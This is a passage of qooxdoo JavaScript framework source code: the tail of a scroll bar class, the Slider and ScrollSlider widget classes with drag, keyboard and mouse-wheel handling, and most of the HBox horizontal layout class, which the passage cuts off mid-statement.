"_applyKnobFactor", nullable : true } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { __offset : 2, __originalMinSize : 0, // overridden _computeSizeHint : function() { var hint = this.base(arguments); if (this.getOrientation() === "horizontal") { this.__originalMinSize = hint.minWidth; hint.minWidth = 0; } else { this.__originalMinSize = hint.minHeight; hint.minHeight = 0; } return hint; }, // overridden renderLayout : function(left, top, width, height) { var changes = this.base(arguments, left, top, width, height); var horizontal = this.getOrientation() === "horizontal"; if (this.__originalMinSize >= (horizontal ? width : height)) { this.getChildControl("button-begin").setVisibility("hidden"); this.getChildControl("button-end").setVisibility("hidden"); } else { this.getChildControl("button-begin").setVisibility("visible"); this.getChildControl("button-end").setVisibility("visible"); } return changes }, // overridden _createChildControlImpl : function(id, hash) { var control; switch(id) { case "slider": control = new qx.ui.core.scroll.ScrollSlider(); control.setPageStep(100); control.setFocusable(false); control.addListener("changeValue", this._onChangeSliderValue, this); this._add(control, {flex: 1}); break; case "button-begin": // Top/Left Button control = new qx.ui.form.RepeatButton(); control.setFocusable(false); control.addListener("execute", this._onExecuteBegin, this); this._add(control); break; case "button-end": // Bottom/Right Button control = new qx.ui.form.RepeatButton(); control.setFocusable(false); control.addListener("execute", this._onExecuteEnd, this); this._add(control); break; } return control || this.base(arguments, id); }, /* --------------------------------------------------------------------------- PROPERTY APPLY ROUTINES --------------------------------------------------------------------------- */ // property apply _applyMaximum : function(value) { this.getChildControl("slider").setMaximum(value); }, // property apply _applyPosition : function(value) { this.getChildControl("slider").setValue(value); }, // property apply _applyKnobFactor : function(value) { this.getChildControl("slider").setKnobFactor(value); }, // property apply _applyPageStep : function(value) { this.getChildControl("slider").setPageStep(value); }, // property apply _applyOrientation : function(value, old) { // Dispose old layout var oldLayout = this._getLayout(); if (oldLayout) { oldLayout.dispose(); } // Reconfigure if (value === "horizontal") { this._setLayout(new qx.ui.layout.HBox()); this.setAllowStretchX(true); this.setAllowStretchY(false); this.replaceState("vertical", "horizontal"); this.getChildControl("button-begin").replaceState("up", "left"); this.getChildControl("button-end").replaceState("down", "right"); } else { this._setLayout(new qx.ui.layout.VBox()); this.setAllowStretchX(false); this.setAllowStretchY(true); this.replaceState("horizontal", "vertical"); this.getChildControl("button-begin").replaceState("left", "up"); this.getChildControl("button-end").replaceState("right", "down"); } // Sync slider orientation this.getChildControl("slider").setOrientation(value); }, /* --------------------------------------------------------------------------- METHOD REDIRECTION TO SLIDER --------------------------------------------------------------------------- */ /** * Scrolls to the given position. * * This method automatically corrects the given position to respect * the {@link #maximum}. * * @param position {Integer} Scroll to this position. Must be greater zero. * @return {void} */ scrollTo : function(position) { this.getChildControl("slider").slideTo(position); }, /** * Scrolls by the given offset. * * This method automatically corrects the given position to respect * the {@link #maximum}. * * @param offset {Integer} Scroll by this offset * @return {void} */ scrollBy : function(offset) { this.getChildControl("slider").slideBy(offset); }, /** * Scrolls by the given number of steps. * * This method automatically corrects the given position to respect * the {@link #maximum}. * * @param steps {Integer} Number of steps * @return {void} */ scrollBySteps : function(steps) { var size = this.getSingleStep(); this.getChildControl("slider").slideBy(steps * size); }, /* --------------------------------------------------------------------------- EVENT LISTENER --------------------------------------------------------------------------- */ /** * Executed when the up/left button is executed (pressed) * * @param e {qx.event.type.Event} Execute event of the button * @return {void} */ _onExecuteBegin : function(e) { this.scrollBy(-this.getSingleStep()); }, /** * Executed when the down/right button is executed (pressed) * * @param e {qx.event.type.Event} Execute event of the button * @return {void} */ _onExecuteEnd : function(e) { this.scrollBy(this.getSingleStep()); }, /** * Change listener for slider value changes. * * @param e {qx.event.type.Data} The change event object * @return {void} */ _onChangeSliderValue : function(e) { this.setPosition(e.getData()); }, /** * Hide the knob of the slider if the slidebar is too small or show it * otherwise. * * @param e {qx.event.type.Data} event object */ _onResizeSlider : function(e) { var knob = this.getChildControl("slider").getChildControl("knob"); var knobHint = knob.getSizeHint(); var hideKnob = false; var sliderSize = this.getChildControl("slider").getInnerSize(); if (this.getOrientation() == "vertical") { if (sliderSize.height < knobHint.minHeight + this.__offset) { hideKnob = true; } } else { if (sliderSize.width < knobHint.minWidth + this.__offset) { hideKnob = true; } } if (hideKnob) { knob.exclude(); } else { knob.show(); } } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's left-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * The Slider widget provides a vertical or horizontal slider. * * The Slider is the classic widget for controlling a bounded value. * It lets the user move a slider handle along a horizontal or vertical * groove and translates the handle's position into an integer value * within the defined range. * * The Slider has very few of its own functions. * The most useful functions are slideTo() to set the slider directly to some * value; setSingleStep(), setPageStep() to set the steps; and setMinimum() * and setMaximum() to define the range of the slider. * * A slider accepts focus on Tab and provides both a mouse wheel and * a keyboard interface. The keyboard interface is the following: * * * Left/Right move a horizontal slider by one single step. * * Up/Down move a vertical slider by one single step. * * PageUp moves up one page. * * PageDown moves down one page. * * Home moves to the start (minimum). * * End moves to the end (maximum). * * Here are the main properties of the class: * * # <code>value</code>: The bounded integer that {@link qx.ui.form.INumberForm} * maintains. * # <code>minimum</code>: The lowest possible value. * # <code>maximum</code>: The highest possible value. * # <code>singleStep</code>: The smaller of two natural steps that an abstract * sliders provides and typically corresponds to the user pressing an arrow key. * # <code>pageStep</code>: The larger of two natural steps that an abstract * slider provides and typically corresponds to the user pressing PageUp or * PageDown. * * @childControl knob {qx.ui.core.Widget} knob to set the value of the slider */ qx.Class.define("qx.ui.form.Slider", { extend : qx.ui.core.Widget, implement : [ qx.ui.form.IForm, qx.ui.form.INumberForm, qx.ui.form.IRange ], include : [qx.ui.form.MForm], /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param orientation {String?"horizontal"} Configure the * {@link #orientation} property */ construct : function(orientation) { this.base(arguments); // Force canvas layout this._setLayout(new qx.ui.layout.Canvas()); // Add listeners this.addListener("keypress", this._onKeyPress); this.addListener("mousewheel", this._onMouseWheel); this.addListener("mousedown", this._onMouseDown); this.addListener("mouseup", this._onMouseUp); this.addListener("losecapture", this._onMouseUp); this.addListener("resize", this._onUpdate); // Stop events this.addListener("contextmenu", this._onStopEvent); this.addListener("click", this._onStopEvent); this.addListener("dblclick", this._onStopEvent); // Initialize orientation if (orientation != null) { this.setOrientation(orientation); } else { this.initOrientation(); } }, /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** * Change event for the value. */ changeValue: 'qx.event.type.Data' }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { // overridden appearance : { refine : true, init : "slider" }, // overridden focusable : { refine : true, init : true }, /** Whether the slider is horizontal or vertical. */ orientation : { check : [ "horizontal", "vertical" ], init : "horizontal", apply : "_applyOrientation" }, /** * The current slider value. * * Strictly validates according to {@link #minimum} and {@link #maximum}. * Do not apply any value correction to the incoming value. If you depend * on this, please use {@link #slideTo} instead. */ value : { check : "typeof value==='number'&&value>=this.getMinimum()&&value<=this.getMaximum()", init : 0, apply : "_applyValue", nullable: true }, /** * The minimum slider value (may be negative). This value must be smaller * than {@link #maximum}. */ minimum : { check : "Integer", init : 0, apply : "_applyMinimum", event: "changeMinimum" }, /** * The maximum slider value (may be negative). This value must be larger * than {@link #minimum}. */ maximum : { check : "Integer", init : 100, apply : "_applyMaximum", event : "changeMaximum" }, /** * The amount to increment on each event. Typically corresponds * to the user pressing an arrow key. */ singleStep : { check : "Integer", init : 1 }, /** * The amount to increment on each event. Typically corresponds * to the user pressing <code>PageUp</code> or <code>PageDown</code>. */ pageStep : { check : "Integer", init : 10 }, /** * Factor to apply to the width/height of the knob in relation * to the dimension of the underlying area. */ knobFactor : { check : "Number", apply : "_applyKnobFactor", nullable : true } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { __sliderLocation : null, __knobLocation : null, __knobSize : null, __dragMode : null, __dragOffset : null, __trackingMode : null, __trackingDirection : null, __trackingEnd : null, __timer : null, // event delay stuff during drag __dragTimer: null, __lastValueEvent: null, __dragValue: null, // overridden /** * @lint ignoreReferenceField(_forwardStates) */ _forwardStates : { invalid : true }, // overridden _createChildControlImpl : function(id, hash) { var control; switch(id) { case "knob": control = new qx.ui.core.Widget(); control.addListener("resize", this._onUpdate, this); control.addListener("mouseover", this._onMouseOver); control.addListener("mouseout", this._onMouseOut); this._add(control); break; } return control || this.base(arguments, id); }, /* --------------------------------------------------------------------------- EVENT HANDLER --------------------------------------------------------------------------- */ /** * Event handler for mouseover events at the knob child control. * * Adds the 'hovered' state * * @param e {qx.event.type.Mouse} Incoming mouse event */ _onMouseOver : function(e) { this.addState("hovered"); }, /** * Event handler for mouseout events at the knob child control. * * Removes the 'hovered' state * * @param e {qx.event.type.Mouse} Incoming mouse event */ _onMouseOut : function(e) { this.removeState("hovered"); }, /** * Listener of mousewheel event * * @param e {qx.event.type.Mouse} Incoming event object * @return {void} */ _onMouseWheel : function(e) { var axis = this.getOrientation() === "horizontal" ? "x" : "y"; var delta = e.getWheelDelta(axis); var direction = delta > 0 ? 1 : delta < 0 ? -1 : 0; this.slideBy(direction * this.getSingleStep()); e.stop(); }, /** * Event handler for keypress events. * * Adds support for arrow keys, page up, page down, home and end keys. * * @param e {qx.event.type.KeySequence} Incoming keypress event * @return {void} */ _onKeyPress : function(e) { var isHorizontal = this.getOrientation() === "horizontal"; var backward = isHorizontal ? "Left" : "Up"; var forward = isHorizontal ? "Right" : "Down"; switch(e.getKeyIdentifier()) { case forward: this.slideForward(); break; case backward: this.slideBack(); break; case "PageDown": this.slidePageForward(); break; case "PageUp": this.slidePageBack(); break; case "Home": this.slideToBegin(); break; case "End": this.slideToEnd(); break; default: return; } // Stop processed events e.stop(); }, /** * Listener of mousedown event. Initializes drag or tracking mode. * * @param e {qx.event.type.Mouse} Incoming event object * @return {void} */ _onMouseDown : function(e) { // this can happen if the user releases the button while dragging outside // of the browser viewport if (this.__dragMode) { return; } var isHorizontal = this.__isHorizontal; var knob = this.getChildControl("knob"); var locationProperty = isHorizontal ? "left" : "top"; var cursorLocation = isHorizontal ? e.getDocumentLeft() : e.getDocumentTop(); var sliderLocation = this.__sliderLocation = qx.bom.element.Location.get(this.getContentElement().getDomElement())[locationProperty]; var knobLocation = this.__knobLocation = qx.bom.element.Location.get(knob.getContainerElement().getDomElement())[locationProperty]; if (e.getTarget() === knob) { // Switch into drag mode this.__dragMode = true; if (!this.__dragTimer){ // create a timer to fire delayed dragging events if dragging stops. this.__dragTimer = new qx.event.Timer(100); this.__dragTimer.addListener("interval", this._fireValue, this); } this.__dragTimer.start(); // Compute dragOffset (includes both: inner position of the widget and // cursor position on knob) this.__dragOffset = cursorLocation + sliderLocation - knobLocation; // add state knob.addState("pressed"); } else { // Switch into tracking mode this.__trackingMode = true; // Detect tracking direction this.__trackingDirection = cursorLocation <= knobLocation ? -1 : 1; // Compute end value this.__computeTrackingEnd(e); // Directly call interval method once this._onInterval(); // Initialize timer (when needed) if (!this.__timer) { this.__timer = new qx.event.Timer(100); this.__timer.addListener("interval", this._onInterval, this); } // Start timer this.__timer.start(); } // Register move listener this.addListener("mousemove", this._onMouseMove); // Activate capturing this.capture(); // Stop event e.stopPropagation(); }, /** * Listener of mouseup event. Used for cleanup of previously * initialized modes. * * @param e {qx.event.type.Mouse} Incoming event object * @return {void} */ _onMouseUp : function(e) { if (this.__dragMode) { // Release capture mode this.releaseCapture(); // Cleanup status flags delete this.__dragMode; // as we come out of drag mode, make // sure content gets synced this.__dragTimer.stop(); this._fireValue(); delete this.__dragOffset; // remove state this.getChildControl("knob").removeState("pressed"); // it's necessary to check whether the mouse cursor is over the knob widget to be able to // to decide whether to remove the 'hovered' state. if (e.getType() === "mouseup") { var deltaSlider; var deltaPosition; var positionSlider; if (this.__isHorizontal) { deltaSlider = e.getDocumentLeft() - (this._valueToPosition(this.getValue()) + this.__sliderLocation); positionSlider = qx.bom.element.Location.get(this.getContentElement().getDomElement())["top"]; deltaPosition = e.getDocumentTop() - (positionSlider + this.getChildControl("knob").getBounds().top); } else { deltaSlider = e.getDocumentTop() - (this._valueToPosition(this.getValue()) + this.__sliderLocation); positionSlider = qx.bom.element.Location.get(this.getContentElement().getDomElement())["left"]; deltaPosition = e.getDocumentLeft() - (positionSlider + this.getChildControl("knob").getBounds().left); } if (deltaPosition < 0 || deltaPosition > this.__knobSize || deltaSlider < 0 || deltaSlider > this.__knobSize) { this.getChildControl("knob").removeState("hovered"); } } } else if (this.__trackingMode) { // Stop timer interval this.__timer.stop(); // Release capture mode this.releaseCapture(); // Cleanup status flags delete this.__trackingMode; delete this.__trackingDirection; delete this.__trackingEnd; } // Remove move listener again this.removeListener("mousemove", this._onMouseMove); // Stop event if (e.getType() === "mouseup") { e.stopPropagation(); } }, /** * Listener of mousemove event for the knob. Only used in drag mode. * * @param e {qx.event.type.Mouse} Incoming event object * @return {void} */ _onMouseMove : function(e) { if (this.__dragMode) { var dragStop = this.__isHorizontal ? e.getDocumentLeft() : e.getDocumentTop(); var position = dragStop - this.__dragOffset; this.slideTo(this._positionToValue(position)); } else if (this.__trackingMode) { // Update tracking end on mousemove this.__computeTrackingEnd(e); } // Stop event e.stopPropagation(); }, /** * Listener of interval event by the internal timer. Only used * in tracking sequences. * * @param e {qx.event.type.Event} Incoming event object * @return {void} */ _onInterval : function(e) { // Compute new value var value = this.getValue() + (this.__trackingDirection * this.getPageStep()); // Limit value if (value < this.getMinimum()) { value = this.getMinimum(); } else if (value > this.getMaximum()) { value = this.getMaximum(); } // Stop at tracking position (where the mouse is pressed down) var slideBack = this.__trackingDirection == -1; if ((slideBack && value <= this.__trackingEnd) || (!slideBack && value >= this.__trackingEnd)) { value = this.__trackingEnd; } // Finally slide to the desired position this.slideTo(value); }, /** * Listener of resize event for both the slider itself and the knob. * * @param e {qx.event.type.Data} Incoming event object * @return {void} */ _onUpdate : function(e) { // Update sliding space var availSize = this.getInnerSize(); var knobSize = this.getChildControl("knob").getBounds(); var sizeProperty = this.__isHorizontal ? "width" : "height"; // Sync knob size this._updateKnobSize(); // Store knob size this.__slidingSpace = availSize[sizeProperty] - knobSize[sizeProperty]; this.__knobSize = knobSize[sizeProperty]; // Update knob position (sliding space must be updated first) this._updateKnobPosition(); }, /* --------------------------------------------------------------------------- UTILS --------------------------------------------------------------------------- */ /** {Boolean} Whether the slider is laid out horizontally */ __isHorizontal : false, /** * {Integer} Available space for knob to slide on, computed on resize of * the widget */ __slidingSpace : 0, /** * Computes the value where the tracking should end depending on * the current mouse position. * * @param e {qx.event.type.Mouse} Incoming mouse event * @return {void} */ __computeTrackingEnd : function(e) { var isHorizontal = this.__isHorizontal; var cursorLocation = isHorizontal ? e.getDocumentLeft() : e.getDocumentTop(); var sliderLocation = this.__sliderLocation; var knobLocation = this.__knobLocation; var knobSize = this.__knobSize; // Compute relative position var position = cursorLocation - sliderLocation; if (cursorLocation >= knobLocation) { position -= knobSize; } // Compute stop value var value = this._positionToValue(position); var min = this.getMinimum(); var max = this.getMaximum(); if (value < min) { value = min; } else if (value > max) { value = max; } else { var old = this.getValue(); var step = this.getPageStep(); var method = this.__trackingDirection < 0 ? "floor" : "ceil"; // Fix to page step value = old + (Math[method]((value - old) / step) * step); } // Store value when undefined, otherwise only when it follows the // current direction e.g. goes up or down if (this.__trackingEnd == null || (this.__trackingDirection == -1 && value <= this.__trackingEnd) || (this.__trackingDirection == 1 && value >= this.__trackingEnd)) { this.__trackingEnd = value; } }, /** * Converts the given position to a value. * * Does not respect single or page step. * * @param position {Integer} Position to use * @return {Integer} Resulting value (rounded) */ _positionToValue : function(position) { // Reading available space var avail = this.__slidingSpace; // Protect undefined value (before initial resize) and division by zero if (avail == null || avail == 0) { return 0; } // Compute and limit percent var percent = position / avail; if (percent < 0) { percent = 0; } else if (percent > 1) { percent = 1; } // Compute range var range = this.getMaximum() - this.getMinimum(); // Compute value return this.getMinimum() + Math.round(range * percent); }, /** * Converts the given value to a position to place * the knob to. * * @param value {Integer} Value to use * @return {Integer} Computed position (rounded) */ _valueToPosition : function(value) { // Reading available space var avail = this.__slidingSpace; if (avail == null) { return 0; } // Computing range var range = this.getMaximum() - this.getMinimum(); // Protect division by zero if (range == 0) { return 0; } // Translating value to distance from minimum var value = value - this.getMinimum(); // Compute and limit percent var percent = value / range; if (percent < 0) { percent = 0; } else if (percent > 1) { percent = 1; } // Compute position from available space and percent return Math.round(avail * percent); }, /** * Updates the knob position following the currently configured * value. Useful on reflows where the dimensions of the slider * itself have been modified. * * @return {void} */ _updateKnobPosition : function() { this._setKnobPosition(this._valueToPosition(this.getValue())); }, /** * Moves the knob to the given position. * * @param position {Integer} Any valid position (needs to be * greater or equal than zero) * @return {void} */ _setKnobPosition : function(position) { // Use DOM Element var container = this.getChildControl("knob").getContainerElement(); if (this.__isHorizontal) { container.setStyle("left", position+"px", true); } else { container.setStyle("top", position+"px", true); } // Alternative: Use layout system // Not used because especially in IE7/Firefox2 the // direct element manipulation is a lot faster /* if (this.__isHorizontal) { this.getChildControl("knob").setLayoutProperties({left:position}); } else { this.getChildControl("knob").setLayoutProperties({top:position}); } */ }, /** * Reconfigures the size of the knob depending on * the optionally defined {@link #knobFactor}. * * @return {void} */ _updateKnobSize : function() { // Compute knob size var knobFactor = this.getKnobFactor(); if (knobFactor == null) { return; } // Ignore when not rendered yet var avail = this.getInnerSize(); if (avail == null) { return; } // Read size property if (this.__isHorizontal) { this.getChildControl("knob").setWidth(Math.round(knobFactor * avail.width)); } else { this.getChildControl("knob").setHeight(Math.round(knobFactor * avail.height)); } }, /* --------------------------------------------------------------------------- SLIDE METHODS --------------------------------------------------------------------------- */ /** * Slides backward to the minimum value * * @return {void} */ slideToBegin : function() { this.slideTo(this.getMinimum()); }, /** * Slides forward to the maximum value * * @return {void} */ slideToEnd : function() { this.slideTo(this.getMaximum()); }, /** * Slides forward (right or bottom depending on orientation) * * @return {void} */ slideForward : function() { this.slideBy(this.getSingleStep()); }, /** * Slides backward (to left or top depending on orientation) * * @return {void} */ slideBack : function() { this.slideBy(-this.getSingleStep()); }, /** * Slides a page forward (to right or bottom depending on orientation) * * @return {void} */ slidePageForward : function() { this.slideBy(this.getPageStep()); }, /** * Slides a page backward (to left or top depending on orientation) * * @return {void} */ slidePageBack : function() { this.slideBy(-this.getPageStep()); }, /** * Slides by the given offset. * * This method works with the value, not with the coordinate. * * @param offset {Integer} Offset to scroll by * @return {void} */ slideBy : function(offset) { this.slideTo(this.getValue() + offset); }, /** * Slides to the given value * * This method works with the value, not with the coordinate. * * @param value {Integer} Scroll to a value between the defined * minimum and maximum. * @return {void} */ slideTo : function(value) { // Bring into allowed range or fix to single step grid if (value < this.getMinimum()) { value = this.getMinimum(); } else if (value > this.getMaximum()) { value = this.getMaximum(); } else { value = this.getMinimum() + Math.round((value - this.getMinimum()) / this.getSingleStep()) * this.getSingleStep() } // Sync with property this.setValue(value); }, /* --------------------------------------------------------------------------- PROPERTY APPLY ROUTINES --------------------------------------------------------------------------- */ // property apply _applyOrientation : function(value, old) { var knob = this.getChildControl("knob"); // Update private flag for faster access this.__isHorizontal = value === "horizontal"; // Toggle states and knob layout if (this.__isHorizontal) { this.removeState("vertical"); knob.removeState("vertical"); this.addState("horizontal"); knob.addState("horizontal"); knob.setLayoutProperties({top:0, right:null, bottom:0}); } else { this.removeState("horizontal"); knob.removeState("horizontal"); this.addState("vertical"); knob.addState("vertical"); knob.setLayoutProperties({right:0, bottom:null, left:0}); } // Sync knob position this._updateKnobPosition(); }, // property apply _applyKnobFactor : function(value, old) { if (value != null) { this._updateKnobSize(); } else { if (this.__isHorizontal) { this.getChildControl("knob").resetWidth(); } else { this.getChildControl("knob").resetHeight(); } } }, // property apply _applyValue : function(value, old) { if (value != null) { this._updateKnobPosition(); if (this.__dragMode) { this.__dragValue = [value,old]; } else { this.fireEvent("changeValue", qx.event.type.Data, [value,old]); } } else { this.resetValue(); } }, /** * Helper for applyValue which fires the changeValue event. */ _fireValue: function(){ if (!this.__dragValue){ return; } var tmp = this.__dragValue; this.__dragValue = null; this.fireEvent("changeValue", qx.event.type.Data, tmp); }, // property apply _applyMinimum : function(value, old) { if (this.getValue() < value) { this.setValue(value); } this._updateKnobPosition(); }, // property apply _applyMaximum : function(value, old) { if (this.getValue() > value) { this.setValue(value); } this._updateKnobPosition(); } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's left-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * Minimal modified version of the {@link qx.ui.form.Slider} to be * used by {@link qx.ui.core.scroll.ScrollBar}. * * @internal */ qx.Class.define("qx.ui.core.scroll.ScrollSlider", { extend : qx.ui.form.Slider, // overridden construct : function(orientation) { this.base(arguments, orientation); // Remove mousewheel/keypress events this.removeListener("keypress", this._onKeyPress); this.removeListener("mousewheel", this._onMouseWheel); }, members : { // overridden getSizeHint : function(compute) { // get the original size hint var hint = this.base(arguments); // set the width or height to 0 depending on the orientation. // this is necessary to prevent the ScrollSlider to change the size // hint of its parent, which can cause errors on outer flex layouts // [BUG #3279] if (this.getOrientation() === "horizontal") { hint.width = 0; } else { hint.height = 0; } return hint; } } });/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * A horizontal box layout. * * The horizontal box layout lays out widgets in a horizontal row, from left * to right. * * *Features* * * * Minimum and maximum dimensions * * Prioritized growing/shrinking (flex) * * Margins (with horizontal collapsing) * * Auto sizing (ignoring percent values) * * Percent widths (not relevant for size hint) * * Alignment (child property {@link qx.ui.core.LayoutItem#alignX} is ignored) * * Horizontal spacing (collapsed with margins) * * Reversed children layout (from last to first) * * Vertical children stretching (respecting size hints) * * *Item Properties* * * <ul> * <li><strong>flex</strong> <em>(Integer)</em>: The flexibility of a layout item determines how the container * distributes remaining empty space among its children. If items are made * flexible, they can grow or shrink accordingly. Their relative flex values * determine how the items are being resized, i.e. the larger the flex ratio * of two items, the larger the resizing of the first item compared to the * second. * * If there is only one flex item in a layout container, its actual flex * value is not relevant. To disallow items to become flexible, set the * flex value to zero. * </li> * <li><strong>width</strong> <em>(String)</em>: Allows to define a percent * width for the item. The width in percent, if specified, is used instead * of the width defined by the size hint. The minimum and maximum width still * takes care of the element's limits. It has no influence on the layout's * size hint. Percent values are mostly useful for widgets which are sized by * the outer hierarchy. * </li> * </ul> * * *Example* * * Here is a little example of how to use the grid layout. * * <pre class="javascript"> * var layout = new qx.ui.layout.HBox(); * layout.setSpacing(4); // apply spacing * * var container = new qx.ui.container.Composite(layout); * * container.add(new qx.ui.core.Widget()); * container.add(new qx.ui.core.Widget()); * container.add(new qx.ui.core.Widget()); * </pre> * * *External Documentation* * * See <a href='http://manual.qooxdoo.org/${qxversion}/pages/layout/box.html'>extended documentation</a> * and links to demos for this layout. * */ qx.Class.define("qx.ui.layout.HBox", { extend : qx.ui.layout.Abstract, /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param spacing {Integer?0} The spacing between child widgets {@link #spacing}. * @param alignX {String?"left"} Horizontal alignment of the whole children * block {@link #alignX}. * @param separator {Decorator} A separator to render between the items */ construct : function(spacing, alignX, separator) { this.base(arguments); if (spacing) { this.setSpacing(spacing); } if (alignX) { this.setAlignX(alignX); } if (separator) { this.setSeparator(separator); } }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** * Horizontal alignment of the whole children block. The horizontal * alignment of the child is completely ignored in HBoxes ( * {@link qx.ui.core.LayoutItem#alignX}). */ alignX : { check : [ "left", "center", "right" ], init : "left", apply : "_applyLayoutChange" }, /** * Vertical alignment of each child. Can be overridden through * {@link qx.ui.core.LayoutItem#alignY}. */ alignY : { check : [ "top", "middle", "bottom" ], init : "top", apply : "_applyLayoutChange" }, /** Horizontal spacing between two children */ spacing : { check : "Integer", init : 0, apply : "_applyLayoutChange" }, /** Separator lines to use between the objects */ separator : { check : "Decorator", nullable : true, apply : "_applyLayoutChange" }, /** Whether the actual children list should be laid out in reversed order. */ reversed : { check : "Boolean", init : false, apply : "_applyReversed" } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { __widths : null, __flexs : null, __enableFlex : null, __children : null, /* --------------------------------------------------------------------------- HELPER METHODS --------------------------------------------------------------------------- */ // property apply _applyReversed : function() { // easiest way is to invalidate the cache this._invalidChildrenCache = true; // call normal layout change this._applyLayoutChange(); }, /** * Rebuilds caches for flex and percent layout properties */ __rebuildCache : function() { var children = this._getLayoutChildren(); var length = children.length; var enableFlex = false; var reuse = this.__widths && this.__widths.length != length && this.__flexs && this.__widths; var props; // Sparse array (keep old one if lengths has not been modified) var widths = reuse ? this.__widths : new Array(length); var flexs = reuse ? this.__flexs : new Array(length); // Reverse support if (this.getReversed()) { children = children.concat().reverse(); } // Loop through children to preparse values for (var i=0; i<length; i++) { props = children[i].getLayoutProperties(); if (props.width != null) { widths[i] = parseFloat(props.width) / 100; } if (props.flex != null) { flexs[i] = props.flex; enableFlex = true; } else { // reset (in case the index of the children changed: BUG #3131) flexs[i] = 0; } } // Store data if (!reuse) { this.__widths = widths; this.__flexs = flexs; } this.__enableFlex = enableFlex this.__children = children; // Clear invalidation marker delete this._invalidChildrenCache; }, /* --------------------------------------------------------------------------- LAYOUT INTERFACE --------------------------------------------------------------------------- */ // overridden verifyLayoutProperty : qx.core.Environment.select("qx.debug", { "true" : function(item, name, value) { this.assert(name === "flex" || name === "width", "The property '"+name+"' is not supported by the HBox layout!"); if (name =="width") { this.assertMatch(value, qx.ui.layout.Util.PERCENT_VALUE); } else { // flex this.assertNumber(value); this.assert(value >= 0); } }, "false" : null }), // overridden renderLayout : function(availWidth, availHeight) { // Rebuild flex/width caches if (this._invalidChildrenCache) { this.__rebuildCache(); } // Cache children var children = this.__children; var length = children.length; var util = qx.ui.layout.Util; // Compute gaps var spacing = this.getSpacing(); var separator = this.getSeparator(); if (separator) { var gaps = util.computeHorizontalSeparatorGaps(children, spacing, separator); } else { var gaps = util.computeHorizontalGaps(children, spacing, true); } // First run to cache children data and compute allocated width var i, child, width, percent; var widths = []; var allocatedWidth = gaps; for (i=0; i<length; i+=1) { percent = this.__widths[i]; width = percent != null ? Math.floor((availWidth - gaps) * percent) : children[i].getSizeHint().width; widths.push(width); allocatedWidth += width; } // Flex support (growing/shrinking) if (this.__enableFlex && allocatedWidth != availWidth) { var flexibles = {}; var flex, offset; for (i=0; i<length; i+=1) { flex = this.__flexs[i]; if (flex > 0) { hint = children[i].getSizeHint(); flexibles[i]= { min : hint.minWidth, value : widths[i], max : hint.maxWidth, flex : flex }; } } var result = util.computeFlexOffsets(flexibles, availWidth, allocatedWidth); for (i in result) { offset = result[i].offset; widths[i] += offset; allocatedWidth += offset; } } // Start with left coordinate var left = children[0].getMarginLeft(); // Alignment support if (allocatedWidth < availWidth && this.getAlignX() != "left") { left = availWidth - allocatedWidth; if (this.getAlignX() === "center") { left = Math.round(left / 2); } } // Layouting children var hint, top, height, width, marginRight, marginTop, marginBottom; var spacing = this.getSpacing(); // Pre configure separators this._clearSeparators(); // Compute separator width if (separator) { var separatorInsets = qx.theme.manager.Decoration.getInstance().resolve(separator).getInsets(); var separatorWidth = separatorInsets.left + separatorInsets.right; } // Render children and separators for (i=0; i<length; i+=1) { child = children[i]; width = widths[i]; hint = child.getSizeHint(); marginTop = child.getMarginTop(); marginBottom = child.getMarginBottom(); // Find usable height height = Math.max(hint.minHeight, Math.min(availHeight-marginTop-marginBottom, hint.maxHeight)); // Respect vertical alignment top = util.computeVerticalAlignOffset(child.getAlignY()||this.getAlignY(), height, availHeight, marginTop, marginBottom); // Add collapsed margin if (i > 0) { // Whether a separator has been configured if (separator) { // add margin of last child and spacing left += marginRight + spacing; // then render the separator at this position this._renderSeparator(separator, { left : left, top : 0, width : separatorWidth, height : availHeight }); // and finally add the size of the separator, the spacing (again) and the left margin left += separatorWidth + spacing + child.getMarginLeft(); } else { // Support margin collapsing when no separator is defined left += util.collapseMargins(spacing, marginRight, child.getMarginLeft()); } } // Layout child child.renderLayout(left, top, width, height); // Add width left += width; // Remember right margin (for collapsing) marginRight = child.getMarginRight(); } }, // overridden _computeSizeHint : function() { // Rebuild flex/width caches if (this._invalidChildrenCache) { this.__rebuildCache(); } var util = qx.ui.layout.Util; var children = this.__children; // Initialize var minWidth=0, width=0, percentMinWidth=0; var minHeight=0, height=0; var child, hint, margin; // Iterate over children for (var i=0, l=children.length; i<l; i+=1) { child = children[i]; hint = child.getSizeHint(); // Sum up widths width += hint.width; // Detect if child is shrinkable or has percent width and update minWidth var flex = this.__flexs[i]; var percent = this.__widths[i]; if (flex) { minWidth += hint.minWidth; } else if (percent) { percentMinWidth = Math.max(percentMinWidth, Math.round(hint.minWidth/percent)); } else { minWidth += hint.width; } // Build vertical margin sum margin = child.getMarginTop() + child.getMarginBottom(); // Find biggest height if ((hint.height+margin) > height) { height = hint.height + margin; } // Find biggest minHeight if ((hint.minHeight+margin) > minHeight) { minHeight = hint.minHeight + margin; } } minWidth += percentMinWidth; // Respect gaps var spacing = 